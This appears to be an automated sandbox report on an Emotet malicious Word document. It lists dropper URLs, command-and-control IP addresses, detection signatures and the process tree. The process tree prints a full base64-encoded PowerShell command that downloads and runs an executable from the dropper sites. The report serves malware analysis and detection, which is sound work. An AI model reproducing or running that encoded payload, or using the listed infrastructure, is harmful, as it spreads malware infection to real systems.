Analysis

  • max time kernel
    137s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    27/10/2020, 23:54

General

  • Target
    emotet_e2_9efa8997bf4ffcc29b996b1a0dd651e92bacb8e79143a0c008cf1eb4a8b41cbd_2020-10-27__234905961838._fpx.doc
  • Size 189KB
  • Sample201027-qcd7blal4e
  • SHA256 9efa8997bf4ffcc29b996b1a0dd651e92bacb8e79143a0c008cf1eb4a8b41cbd
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://cuutrolulut.info/logs/L18FV/

  • exe.dropper

    http://tangshizhi.com/wp-admin/pcFD/

  • exe.dropper

    http://wethotpornpussy.com/cgi-bin/TXGpC07/

  • exe.dropper

    http://new.outfitsbrand.com/wp-includes/N1va/

  • exe.dropper

    http://seasonaloutfits.com/gfeed/j154TTx/

  • exe.dropper

    http://khoedepdn247.com/remington-870/5DNY9x/

  • exe.dropper

    http://jeffnissan.com/wp-content/N7/

  • exe.dropper

    http://neoconcept-ci.com/securityl/cid/

Extracted

Family
  • emotet

Botnet
  • Epoch2

C2
  • 88.153.35.32:80

  • 107.170.146.252:8080

  • 173.212.214.235:7080

  • 167.114.153.111:8080

  • 67.170.250.203:443

  • 121.124.124.40:7080

  • 103.86.49.11:8080

  • 74.214.230.200:80

  • 194.187.133.160:443

  • 172.104.97.173:8080

  • 172.91.208.86:80

  • 200.116.145.225:443

  • 202.134.4.216:8080

  • 172.105.13.66:443

  • 190.164.104.62:80

  • 50.35.17.13:80

  • 176.111.60.55:8080

  • 201.241.127.190:80

  • 66.76.12.94:8080

  • 95.213.236.64:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_9efa8997bf4ffcc29b996b1a0dd651e92bacb8e79143a0c008cf1eb4a8b41cbd_2020-10-27__234905961838._fpx.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3640
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgAFMARQBUAC0ASQB0AEUAbQAgACgAIgBWACIAKwAiAEEAUgBJAEEAYgBMAEUAOgBYACIAKwAiADEAQQAiACsAIgAwAHoATgAiACkAIAAoAFsAdAB5AHAAZQBdACgAIgB7ADIAfQB7ADMAfQB7ADEAfQB7ADAAfQAiACAALQBGACcAYwBUAG8AcgB5ACcALAAnAEUAJwAsACcAUwBZAFMAdAAnACwAJwBlAE0ALgBpAE8ALgBkAGkAcgAnACkAIAApACAAIAA7ACAAIAAgACAAUwBlAHQAIAAoACIAVgA0ACIAKwAiADMAIgApACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADUAfQB7ADQAfQB7ADgAfQB7ADAAfQB7ADcAfQB7ADIAfQB7ADYAfQB7ADEAfQB7ADMAfQAiAC0ARgAnAGUAJwAsACcAaQBuAHQAJwAsACcAVAAuAHMARQByAFYASQBjAGUAUAAnACwAJwBtAGEATgBBAEcAZQBSACcALAAnAFkAJwAsACcAcwAnACwAJwBPACcALAAnAE0ALgBOAEUAJwAsACcAUwB0ACcAKQApADsAIAAgACQARAAzAHAAbQAwAGMANAA9ACgAJwBGACcAKwAoACcAOAA3ADQAJwArACcAOAA3ACcAKQArACcAdwAnACkAOwAkAFoAcwB0AGQAYgBjAG0APQAkAEwAagBlAGYANwA1AGsAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEsAZgBxAGYAZABiAG0AOwAkAEQAcwA5AGsAeABhAG8APQAoACgAJwBUAGgAYQAnACsAJwB3ACcAKQArACgAJwA3AG8AJwArACcAaAAnACkAKQA7ACAAKABHAGUAVAAtAEMAaABpAEwAZABpAFQARQBtACAAKAAiAHYAIgArACIAQQBSAGkAQQBCAGwAZQA6AHgAIgArACIAMQBBACIAKwAiADAAWgBuACIAKQAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAEUAYQBUAGAAZQBkAGAASQBSAGUAYwB0AE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AUQAnACsAKAAnAHYAJwArACcAdwBpACcAKQArACcAcwAyAGgAewAwACcAKwAnAH0ATQAnACsAJwB4AGsANAAzADcAbgB7ADAAfQAnACkALQBGACAAWwBjAEgAQQBSAF0AOQAyACkAKQA7ACQAQQBiAG0AdAAyAGgAZgA9ACgAJwBNAHgAJwArACgAJwA5ADUAeAAnACsAJwB5ACcAKQArACcAbAAnACkAOwAgACAAKABHAEUAdAAtAHYAQQByAEkAYQBiAGwARQAgACgAIgB2ADQAIgArACIAMwAiACkAIAAgAC0AdgBhAEwAVQBFAE8AIAAgACkAOgA6ACIAUwBFAGAAYwBVAGAAUgBJAHQAWQBQAFIATwB0AG8AQwBPAGwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAxACcAKwAnADIAJwApACkAOwAkAE8AMgB5AHAAOQBsAHcAPQAoACcAVwAnACsAKAAnAHQAJwArACcAbwB6ADQAegA4ACcAKQApADsAJABJADQAdwAzADIAcwBjACAAPQAgACgAKAAnAFkANgBlAGMAJwArACcAegAnACkAKwAnADUAJwApADsAJABZAG0AdwA0AGEAYwB1AD0AKAAoACcAQwA4ADYAYgAnACsAJwBlACcAKQArACcAMQAnACsAJwAzACcAKQA7ACQAUwBxADgAeABpADUAcgA9ACgAJwBVACcAKwAoACcAMgAnACsAJwA5ADcAJwApACsAKAAnADQAdQAnACsAJwBqACcAKQApADsAJABVAGIAYQA3AGwAcQAwAD0AJABIAE8ATQBFACsAKAAoACgAJwBNACcAKwAnAGwAMQAnACkAKwAoACcAUQAnACsAJwB2AHcAJwApACsAKAAnAGkAcwAyAGgAJwArACcATQAnACkAKwAnAGwAJwArACgAJwAxAE0AeABrADQAMwA3AG4ATQAnACsAJwBsACcAKwAnADEAJwApACkAIAAgAC0AcgBlAHAATABhAGMARQAgACgAJwBNAGwAJwArACcAMQAnACkALABbAGMAaABBAFIAXQA5ADIAKQArACQASQA0AHcAMwAyAHMAYwArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFQAbwAyAGMAbABzAHcAPQAoACgAJwBIAHYAJwArACcAawAnACkAKwAnADQAMAAnACsAJwB4ADQAJwApADsAJABPAHgAZgBvAGsAdAB4AD0ALgAoACcAbgAnACsAJwBlAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABOAEUAVAAuAFcARQBCAGMAbABpAEUATgBUADsAJABOAHEAawB3AHcAbwB4AD0AKAAnAGgAJwArACcAdAB0ACcAKwAoACcAcABzADoAJwArACcAWwAgAHUAJwApACsAKAAnAE4ASAAnACsAJwBzACcAKQArACcAIABdACcAKwAoACcAWwAgACcAKwAnAHUAJwArACcATgBIAHMAIABdAGMAdQAnACkAKwAnAHUAdAAnACsAKAAnAHIAbwBsACcAKwAnAHUAJwApACsAKAAnAGwAdQAnACsAJwB0ACcAKQArACgAJwAuAGkAJwArACcAbgBmACcAKQArACcAbwBbACcAKwAoACcAIAB1ACcAKwAnAE4AJwApACsAJwBIAHMAJwArACgAJwAgACcAKwAnAF0AbABvAGcAcwBbACAAJwApACsAKAAnAHUATgAnACsAJwBIAHMAIABdACcAKQArACgAJwBMACcAKwAnADEAOAAnACkAKwAoACcARgBWAFsAJwArACcAIAAnACkAKwAoACcAdQBOAEgAcwAgAF0AJwArACcAQAAnACsAJwBoACcAKwAnAHQAdABwADoAWwAgACcAKwAnAHUATgAnACsAJwBIAHMAJwApACsAJwAgAF0AJwArACgAJwBbACcAKwAnACAAdQAnACkAKwAoACcATgBIACcAKwAnAHMAIABdAHQAJwArACcAYQAnACkAKwAoACcAbgBnAHMAaABpACcAKwAnAHoAaABpAC4AYwBvACcAKwAnAG0AWwAnACkAKwAnACAAJwArACgAJwB1AE4ASAAnACsAJwBzACcAKQArACcAIABdACcAKwAoACcAdwAnACsAJwBwAC0AYQAnACkAKwAoACcAZABtAGkAbgBbACAAJwArACcAdQBOACcAKQArACgAJwBIACcAKwAnAHMAIAAnACkAKwAoACcAXQBwACcAKwAnAGMAJwApACsAKAAnAEYARABbACcAKwAnACAAJwApACsAKAAnAHUATgBIAHMAIABdACcAKwAnAEAAJwArACcAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAnACsAJwBbACAAdQBOAEgAcwAgAF0AWwAnACsAJwAgAHUATgBIACcAKwAnAHMAIABdACcAKwAnAHcAZQB0AGgAbwB0AHAAJwArACcAbwAnACkAKwAoACcAcgBuAHAAdQBzACcAKwAnAHMAeQAnACsAJwAuAGMAJwArACcAbwBtAFsAJwApACsAKAAnACAAdQBOAEgAJwArACcAcwAnACkAKwAoACcAIABdAGMAJwArACcAZwBpACcAKQArACgAJwAtAGIAJwArACcAaQBuACcAKQArACcAWwAnACsAJwAgAHUAJwArACgAJwBOAEgAcwAnACsAJwAgAF0AJwArACcAVABYAEcAcABDADAANwBbACcAKwAnACAAdQBOAEgAJwApACsAKAAnAHMAIABdACcAKwAnAEAAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAFsAIAB1AE4ASABzACcAKwAnACAAJwApACsAKAAnAF0AWwAgACcAKwAnAHUATgAnACsAJwBIAHMAIAAnACkAKwAoACcAXQAnACsAJwBuAGUAdwAnACsAJwAuAG8AdQAnACkAKwAnAHQAZgAnACsAJwBpACcAKwAoACcAdAAnACsAJwBzAGIAJwApACsAKAAnAHIAYQBuACcAKwAnAGQALgBjAG8AJwArACcAbQBbACAAJwApACsAKAAnAHUATgAnACsAJwBIAHMAJwArACcAIABdAHcAJwApACsAKAAnAHAALQAnACsAJwBpAG4AYwAnACkAKwAoACcAbAAnACsAJwB1AGQAZQBzAFsAIAB1AE4ASABzACAAXQBOADEAdgAnACsAJwBhACcAKwAnAFsAIAB1ACcAKQArACcATgBIACcAKwAnAHMAIAAnACsAKAAnAF0AJwArACcAQAAnACsAJwBoAHQAdABwADoAWwAnACsAJwAgACcAKQArACcAdQAnACsAKAAnAE4ASABzACAAJwArACcAXQAnACkAKwAoACcAWwAgACcAKwAnAHUATgAnACsAJwBIAHMAJwArACcAIABdAHMAZQBhAHMAbwAnACsAJwBuAGEAbAAnACkAKwAoACcAbwB1AHQAJwArACcAZgAnACkAKwAoACcAaQB0AHMALgBjAG8AJwArACcAbQBbACAAdQBOAEgAcwAgAF0AZwBmAGUAJwArACcAZQAnACsAJwBkAFsAJwArACcAIAB1AE4AJwApACsAKAAnAEgAJwArACcAcwAgAF0AagAnACkAKwAoACcAMQAnACsAJwA1ADQAJwArACcAVABUAHgAWwAgAHUAJwArACcATgBIAHMAJwApACsAJwAgAF0AJwArACcAQAAnACsAKAAnAGgAdAB0ACcAKwAnAHAAOgAnACkAKwAoACcAWwAnACsAJwAgAHUATgAnACkAKwAoACcASAAnACsAJwBzACAAXQBbACAAJwApACsAJwB1ACcAKwAoACcATgAnACsAJwBIAHMAJwApACsAJwAgACcAKwAoACcAXQAnACsAJwBrAGgAJwApACsAKAAnAG8AJwArACcAZQBkACcAKQArACgAJwBlAHAAZABuACcAKwAnADIANAA3ACcAKwAnAC4AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBtAFsAIAB1AE4AJwArACcASABzACAAJwApACsAKAAnAF0AcgBlAG0AJwArACcAaQAnACsAJwBuAGcAdAAnACkAKwAoACcAbwBuAC0AJwArACcAOAA3ADAAWwAgAHUAJwApACsAJwBOACcAKwAnAEgAcwAnACsAKAAnACAAXQA1ACcAKwAnAEQATgBZADkAeAAnACkAKwAnAFsAIAAnACsAKAAnAHUATgBIACcAKwAnAHMAJwArACcAIABdACcAKQArACcAQABoACcAKwAnAHQAJwArACgAJwB0AHAAOgBbACcAKwAnACAAdQBOAEgAcwAnACsAJwAgACcAKQArACgAJwBdAFsAIAB1ACcAKwAnAE4AJwArACcASABzACAAXQAnACsAJwBqAGUAZgBmAG4AaQBzACcAKwAnAHMAJwArACcAYQBuAC4AYwBvAG0AWwAgACcAKwAnAHUATgBIAHMAIABdAHcAJwApACsAKAAnAHAAJwArACcALQBjAG8AbgB0AGUAbgAnACsAJwB0AFsAIAB1ACcAKwAnAE4ASABzACcAKwAnACAAXQBOACcAKQArACcANwAnACsAKAAnAFsAIAAnACsAJwB1AE4ASAAnACsAJwBzACAAXQAnACkAKwAoACcAQABoACcAKwAnAHQAdABwACcAKwAnADoAWwAnACkAKwAoACcAIAB1ACcAKwAnAE4AJwApACsAKAAnAEgAJwArACcAcwAgAF0AWwAgAHUATgBIAHMAJwArACcAIABdACcAKQArACgAJwBuACcAKwAnAGUAbwBjAG8AbgBjAGUAJwApACsAKAAnAHAAdAAtACcAKwAnAGMAaQAuACcAKQArACcAYwBvACcAKwAnAG0AJwArACcAWwAnACsAJwAgAHUAJwArACcATgBIACcAKwAoACcAcwAnACsAJwAgAF0AcwBlACcAKQArACcAYwB1ACcAKwAnAHIAaQAnACsAJwB0ACcAKwAoACcAeQBsAFsAIAAnACsAJwB1AE4ASABzACcAKwAnACAAXQBjAGkAJwArACcAZAAnACkAKwAoACcAWwAgAHUATgAnACsAJwBIACcAKQArACcAcwAgACcAKwAnAF0AJwApAC4AIgByAGUAYABwAEwAYQBjAGUAIgAoACgAKAAnAFsAIAAnACsAJwB1AE4ASABzACcAKQArACcAIABdACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAnAGYAcwAnACkAWwAwAF0AKQAuACIAcwBgAHAATABpAHQAIgAoACQARQBnAHAAdwAzAGcAZgAgACsAIAAkAFoAcwB0AGQAYgBjAG0AIAArACAAJABXAGQAYQBrAGYAegBnACkAOwAkAFEAbgBsADIAMAAxAG0APQAoACgAJwBWAHUAbQAnACsAJwB5ACcAKQArACcAdAAnACsAJwB5AHYAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABOAGgAdgAwADgAaABfACAAaQBuACAAJABOAHEAawB3AHcAbwB4ACkAewB0AHIAeQB7ACQATwB4AGYAbwBrAHQAeAAuACIARABPAFcAYABOAEwAYABvAEEAYABEAGYASQBMAEUAIgAoACQATgBoAHYAMAA4AGgAXwAsACAAJABVAGIAYQA3AGwAcQAwACkAOwAkAFkAeAB6AHcAZQB4ADEAPQAoACgAJwBHACcAKwAnAHgAZwBoAHMAJwApACsAJwBsAGkAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFUAYgBhADcAbABxADAAKQAuACIAbABgAEUAbgBHAFQASAAiACAALQBnAGUAIAA0ADIAMQA3ADQAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAJwArACcAaQBuADMAJwApACsAJwAyAF8AJwArACgAJwBQACcAKwAnAHIAbwBjACcAKQArACgAJwBlAHMAJwArACcAcwAnACkAKQApAC4AIgBjAGAAUgBFAGAAQQB0AEUAIgAoACQAVQBiAGEANwBsAHEAMAApADsAJABUAGYAdgBtAGIAbQByAD0AKAAoACcARgAnACsAJwAzAGkANQAnACkAKwAnAHIAJwArACcAdgBoACcAKQA7AGIAcgBlAGEAawA7ACQAVwBtAHMAXwB2AHAAYQA9ACgAJwBTACcAKwAoACcAcwBsACcAKwAnAHQAZgAnACkAKwAnAHoAdAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAagA0AHQAXwA1ADgAPQAoACgAJwBHACcAKwAnADMAOAA3AHIAMgAnACkAKwAnADMAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:192
  • C:\Users\Admin\Qvwis2h\Mxk437n\Y6ecz5.exe
    C:\Users\Admin\Qvwis2h\Mxk437n\Y6ecz5.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3324
    • C:\Windows\SysWOW64\vcruntime140\threadpoolwinrt.exe
      "C:\Windows\SysWOW64\vcruntime140\threadpoolwinrt.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:2448
  • \??\c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NgcSvc
    1⤵
      PID:2912
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s DeviceAssociationService
      1⤵
        PID:1796
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s NgcCtnrSvc
        1⤵
        • Modifies data under HKEY_USERS
        PID:2488

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/192-6-0x00007FFE02410000-0x00007FFE02DFC000-memory.dmp

            memory/192-7-0x0000022EA5010000-0x0000022EA5011000-memory.dmp

            memory/192-8-0x0000022EA5340000-0x0000022EA5341000-memory.dmp

            memory/2448-15-0x0000000002110000-0x0000000002143000-memory.dmp

            memory/2448-16-0x0000000002150000-0x0000000002181000-memory.dmp

            memory/3324-11-0x00000000022B0000-0x00000000022E3000-memory.dmp

            memory/3324-12-0x0000000002330000-0x0000000002361000-memory.dmp

            memory/3640-0-0x00007FFE0A000000-0x00007FFE0A637000-memory.dmp